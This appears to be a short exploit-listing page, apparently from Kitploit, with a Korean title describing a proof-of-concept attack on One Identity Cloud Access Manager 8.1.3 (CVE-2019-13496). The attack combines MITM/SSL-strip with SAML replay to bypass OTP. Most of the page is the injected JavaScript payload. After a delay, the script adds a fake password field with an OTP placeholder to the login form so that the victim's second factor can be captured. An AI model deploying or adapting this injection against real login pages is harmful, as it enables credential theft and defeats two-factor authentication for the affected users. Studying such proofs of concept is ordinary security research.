CVE-2019-13496 — One Identity Cloud Access Manager 8.1.3에서 MITM/SSL-strip, SAML 응답 재전송, 주입된 JavaScript를 통해 자격 증명을 캡처하여 OTP 우회를 시연하는 개념 증명 익스플로잇. | Kitploit

CVE-2019-13496 — One Identity Cloud Access Manager 8.1.3에서 MITM/SSL-strip, SAML 응답 재전송, 주입된 JavaScript를 통해 자격 증명을 캡처하여 OTP 우회를 시연하는 개념 증명 익스플로잇. | Kitploit

<script>
 
function replace_payload()
{  


     var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password"  id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';

     var text_div=$(".m-b-20");

     text_div.append(append_str);

    }

    function control(){setTimeout(replace_payload,2000);} control();
    
</script>